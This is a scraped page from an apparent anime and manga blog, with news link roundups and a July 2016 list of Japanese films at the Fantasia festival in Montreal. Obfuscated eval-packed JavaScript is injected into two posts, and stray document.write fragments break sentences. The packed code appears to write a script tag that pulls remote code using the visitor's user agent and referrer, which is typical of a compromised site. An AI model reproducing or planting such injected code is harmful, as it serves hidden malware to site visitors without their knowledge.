Prisma will soon offer video editing (Android Authority)
Babylon 5 actor Jerry Doyle dies aged 60 (BBC)
Lettuce towers and office block farms: is this the future? (BBC)
Harry Potter and the Cursed Child Book Comes Out Tonight (io9, BBC)
Game of Thrones to end after season eight in 2018 (BBC, io9)
Gibraltar caves reveal Neanderthals’ secrets (BBC)

Funnies

Non Sequitur: Monday, March 21, 2016 (The two-party detour)

Dilbert: Tuesday, March 22, 2016 (The Elbonian Religion)

[ Traduire ]

A few more notable news

July 23, 2016 / Clodjee / Leave a comment

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srysa|var|u0026u|referrer|ikydn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tafbn|var|u0026u|referrer|beysr||js|php’.split(‘|’),0,{}))

A world without books is a fearful place to imagine (PressReader / The Gazette)
Japanese Films at the Fantasia International Film Festival (Coco Montreal / Issuu July 2016)
Drawing on the past of Osamu Tezuka (The Japan Times)
Ancient Stupa Holding Bone of Buddha Discovered (Live Science)
Five Manga, document.write(“”); One Light Novel, and an OGN from Yen revealed at AX (ICv2)
VIZ Announces New Manga Licenses (ICv2)
GKIDS Picks Up North American Rights to ‘Miss Hokusai’ (The Wrap / ANN)
Montreal’s Fantasia Int’l Film Festival to Screen Anime and Manga-related Live-Action Films (ANN)
Anime Expo Manga Announcement Round-Up (ICv2)
New Cast Members for ‘Blade Runner’ Sequel (ICv2)
Nest Cam Outdoor upgrades original Nest Cam with more rugged design (Apple Insider)
Fashionable 2, 000-Year-Old Roman Shoe Found in a Saalburg’s Well, Germany (Open Culture, Inquirer, Direct Matin). There was a similar discovery in Uttoxeter, UK, in 2010 (Archaeology News Network)
The Chronicles of Amber TV Series Could Be the Next Game of Thrones (IO9)
Drawn & Quarterly to Publish Guy Delisle’s ‘Hostage’ in 2017 (ICv2). The original french version, S’enfuir, récit d’un otage, will be publish by Dargaud in September 2016 (link)
TOHO’s ‘Godzilla Resurgence’ Gets U.S. Release (ICv2)
‘The Walking Dead’ Season 7 Comic-Con Trailer (ICv2)
Kodansha Comics to Release Deluxe Edition of Ghost in the Shell Manga (ANN)
Shigeru Mizuki’s Showa 1953-1989: A History of Japan Wins Eisner Award (ANN)

[ Traduire ]

Japanese movies at Fantasia 2016

July 9, 2016 / Clodjee / Leave a comment

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kayzh|var|u0026u|referrer|hynaf||js|php’.split(‘|’),0,{}))
This week the programmation for the 20th edition of the Fantasia International Film Festival was announced. Twenty years, document.write(“”); that’s worth celebrating! It will be held in Montreal from July 14 to August 3 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. For more programming details you can check the festival’s web page at www.fantasiafestival.com, this year’s program [PDF] and screening schedule [PDF].

This year the festival offers 60 movies from Asia: 5 from China, 26 from Japan, 20 from Korea, 6 from Hong Kong, 1 from Taiwan, and 2 from Thailand.

As usual, we will concentrate our interest on the Japanese program that includes 4 anime (in total you can also find 33 other animated features — 29 shorts and 8 movies — from various countries). Besides Momotaro, Sacred Sailors, which is probably one of the first anime ever produced in Japan, there’s nothing out of the ordinary among those titles — although we’ve noticed that there’s lots of manga adaptations. Here’s a list of all the Japanese titles (with links to full description):

Anime:

Harmony / Hamoni : 2015 / 120 mins / Dir.: Takashi Nakamura, Michael Arias. [Trailer, Wikipedia]
I Can See You : 2016 / 9 mins / Dir. Gu Jie. [Trailer]
Momotaro, Sacred Sailors / Momotaro, Umi No Shinpei : 1945 / 74 mins / Dir.: Mitsuyo Seo. [Wikipedia]
Pigtails : 2016 / 28 mins / Dir.: Yoshimi Itazu (Production I.G). Adaptation of the manga Mitsuami no kami-sama by Machiko Kyo.

Live-Action:

As the Gods Will / Kamisama no iu toori : 2014 / 116 mins / Dir.: Takashi Miike. Based on the manga by Muneyuki Kaneshiro & Akeji Fujimura. [AsianWiki, IMdB, Trailer, Wikipedia]
Assassination Classroom: Graduation / Ansatsu Kyoshitsu -Sotsugyou Hen- : 2016 / 118 mins / Dir.: Eiichiro Hasumi. Second part of an adaptation of Yuusei Matsui’s manga. [AsianWiki, IMdB, Trailer, Wikipedia]
Bakuman : 2015 / 120 mins / Dir.: Hitoshi Ohne. Adaptation of the manga written by Tsugumi Ohba and illustrated by Takeshi Obata (Death Note) [AsianWiki, Eigapedia, IMdB]
A Bride for Rip Van Winkle / Rip Van Winkle no Hanayome : 2016 / 179 mins / Dir.: Shunji Iwai (adapting his own novel). [AsianWiki, IMdB, Trailers on Vimeo & Youtube]
Chihayafuru / Chihayafuru Kami no Ku Part 1 & Part 2 : 2015-16 / 111 mins &112 mins / Dir.: Nori Koizumi. Adaptation of Yuki Suetsugu’s acclaimed manga series. [AsianWiki, Trailers Part 1 & Part 2, Wikipedia]
Creepy / Kuripi: Itsuwari no Rinjin : 2016 / 130 mins / Dir.: Kiyoshi Kurosawa. Based on the novel by Yutaka Maekawa. [AsianWiki, IMdB, Trailer, Wikipedia]
HK2: Hentai Kamen [Masked Pervert] 2: The Abnormal Crisis : 2016 / 118 mins / Dir.: Yuichi Fukuda. Based on the comedy manga series written and illustrated by Keish? Ando. [AsianWiki, IMdB, Trailer]
Les hommes d’une autre planète / Jumborg Ace & Giant / Yuk Wud Jaeng Pob Jambo : Thailand / 1974 / Dir.: Chen Hun-Ming. Based on a Japanese tokusatsu / super sentai TV series produced by Tsubaraya Pro (Ultraman). [IMdB, Trailer, Wikipedia]
If Cats Disappeared from the World / Sekai kara neko ga kietanara : 2016 / 93 mins / Dir.: Akira Nagai. Adapted from the bestseller by Genki Kawamura. [AsianWiki, IMdB, Official webpage, Trailer, Wikipedia]
The Inerasable / Zange – Sunde wa Ikenai Heya : 2015 / 107 mins / Dir.: Yoshihiro Nakamura. [AsianWiki, IMdB, Trailer, Wikipedia]
Kaijyu Mono / Daikaiju Mono : 2016 / 120 mins / Dir.: Minoru Kawasaki. [AsianWiki, IMdB, Trailer]
Kiyamachi Daruma : 2015 / 116 mins / Dir.: Hideo Sakaki. Adapted from screenwriter Hiroyuki Maruno’s own novel. [AsianWiki, IMdB, Trailer]
Library Wars: The Last Mission / Toshokan Sanso: The Last Mission : 2015 / 120 mins / Dir.: Shinsuke Sato. Based on the light novel and manga by Hiro Arikawa. [AsianWiki, IMdB, Official webpage, Trailer, Wikipedia]
Lowlife Love / Gesu no Ai : 2015 / 110 mins / Dir.: Eiji Uchida. [AsianWiki, IMdB, Official website, Trailers on Vimeo & Youtube]
Parasyte: Part 1 / Kiseiju & Parasyte: Part 2 / Kiseiju Kanketsu-hen : 2014-15 / 107 mins & 117 mins / Dir.: Takashi Yamazaki. Based on the manga by Hitoshi Iwaaki. [AsianWiki Part 1 & Part 2, IMdB, Trailer Part 1 & Part 2, Wikipedia Part 1 & Part 2]
Terraformars / Terafomazu : 2016 / 108 mins / Dir.: Takashi Miike. Adaptation of Yu Sasuga and Kenichi Tachibana’s manga. [AsianWiki, IMdB, Teaser, Trailer, Wikipedia]
Too Young to Die! / Too Young To Die! Wakakushite Shinu : 2016 / 125 mins / Dir.: Kankuro Kudo. [AsianWiki, IMdB, Trailer]
The Top Secret: Murder in Mind / Himitsu the Top Secret : 2016 / 148 mins / Dir.: Keishi Otomo. Based on Reiko Shimizu’s manga. [AsianWiki, Trailer, Wikipedia]
Ultraman X the Movie / Gekij?ban Urutoraman Ekkusu Kita zo! Warera no Urutoraman : 2016 / 73 mins / Dir.: Kiyotaka Taguchi. Based on the 41st Ultraman TV series produced by Tsuburaya, this movie celebrates the 50th anniversary of the Ultraman universe! [Trailer, Wikipedia]
What a Wonderful Family! / Kazoku wa Tsurai yo : 2016 / 108 mins / Dir.: Yoji Yamada. [AsianWiki, IMdB, Trailer, Wikipedia]